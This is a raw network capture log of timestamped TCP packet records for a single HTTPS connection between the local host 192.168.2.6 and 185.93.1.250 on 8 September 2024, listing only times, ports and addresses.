Sep 8, 2024 09:53:42.205626965 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.205626965 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.205626965 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.205636024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.205673933 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.206295013 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.206310987 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.206352949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.206358910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.206389904 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.206574917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.206593037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.206634998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.206639051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.206671000 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.206682920 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.206697941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.206722975 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.206727028 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.206746101 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.206769943 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.207537889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.207562923 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.207586050 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.207590103 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.207609892 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.207614899 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.207628965 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.207632065 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.207643032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.207659960 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.207695961 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.207783937 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.207798958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.207839012 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.207843065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.207875013 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.208549976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.208563089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.208611012 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.208615065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.208646059 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.208658934 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.208673000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.208698988 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.208703995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.208723068 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.208739996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.209434986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.209450960 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.209491968 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.209496975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.209510088 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.209527969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.209532022 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.209541082 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.209558964 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.209590912 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.209645987 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.209660053 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.209686041 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.209690094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.209707022 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.209723949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.210342884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.210361004 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.210408926 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.210412979 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.210444927 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.210457087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.210472107 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.210496902 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.210500956 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.210526943 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.210530043 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.210541964 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.210546017 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.210558891 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.210570097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.210573912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.210604906 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.211421013 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.211433887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.211477995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.211483002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.211513996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.211786985 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.211805105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.211846113 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.211849928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.211882114 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.212018967 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.212035894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.212068081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.212071896 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.212083101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.212100029 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.212100983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.212111950 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.212121964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.212151051 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.212759018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.212774992 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.212819099 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.212824106 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.212852955 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.212898016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.212913990 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.212954998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.212960005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.212990046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.213514090 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.213527918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.213570118 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.213573933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.213593006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.213604927 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.213612080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.213619947 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.213634014 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.213655949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.213939905 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.213953018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.213987112 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.213992119 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.214021921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.214088917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.214101076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.214135885 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.214139938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.214170933 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.214198112 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.214214087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.214236975 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.214241028 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.214261055 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.214281082 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.214787960 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.214801073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.214837074 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.214842081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.214873075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.286499977 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.286519051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.286756992 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.286765099 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.286808014 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.287023067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.287036896 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.287089109 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.287092924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.287126064 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.287523985 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.287542105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.287591934 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.287595987 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.287631989 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.287648916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.287667036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.287703991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.287708044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.287740946 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.288057089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.288070917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.288121939 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.288126945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.288163900 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.288909912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.288924932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.288976908 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.288989067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.289025068 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.289215088 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.289235115 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.289272070 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.289274931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.289309025 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.290575027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.290594101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.290631056 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.290635109 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.290657043 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.290682077 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.373454094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.373476982 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.373528957 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.373537064 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.373564005 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.373976946 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.373990059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.374033928 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.374038935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.374072075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.374381065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.374394894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.374438047 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.374442101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.374475002 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.374706984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.374720097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.374758005 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.374761105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.374789953 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.376030922 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.376044989 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.376090050 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.376094103 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.376123905 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.376357079 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.376370907 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.376418114 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.376421928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.376446962 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.376463890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.376997948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.377012014 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.377049923 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.377053976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.377079010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.378037930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.378053904 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.378092051 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.378102064 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.378130913 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.460587025 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.460603952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.460653067 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.460660934 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.460819960 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.460853100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.460866928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.460911036 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.460915089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.460939884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.461483955 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.461498022 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.461539030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.461543083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.461569071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.461675882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.461693048 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.461715937 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.461719990 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.461739063 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.461760998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.462013960 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.462027073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.462065935 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.462069988 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.462100983 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.463171005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.463184118 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.463227987 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.463232040 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.463263988 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.463721037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.463733912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.463769913 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.463773966 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.463803053 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.464279890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.464293003 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.464329004 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.464333057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.464360952 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.547861099 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.547883987 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.547950029 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.547957897 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.547998905 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.548253059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.548271894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.548310041 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.548315048 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.548346996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.548394918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.548408031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.548444986 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.548449039 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.548485994 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.548886061 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.548899889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.548940897 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.548945904 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.548976898 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.549102068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.549114943 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.549154043 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.549158096 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.549186945 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.550190926 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.550204039 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.550245047 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.550254107 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.550283909 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.551006079 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.551018953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.551057100 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.551060915 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.551091909 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.551740885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.551753044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.551793098 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.551798105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.551826954 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.634730101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.634746075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.634890079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.634895086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.634931087 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.634937048 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.634948969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.634982109 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.634985924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.635014057 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.635459900 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.635478020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.635519981 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.635524988 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.635557890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.635870934 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.635884047 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.635925055 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.635929108 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.635960102 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.636231899 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.636244059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.636285067 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.636288881 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.636318922 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:42.637346029 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.637357950 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:42.637397051 CEST	49710	443	192.168.2.6	185.93.1.250
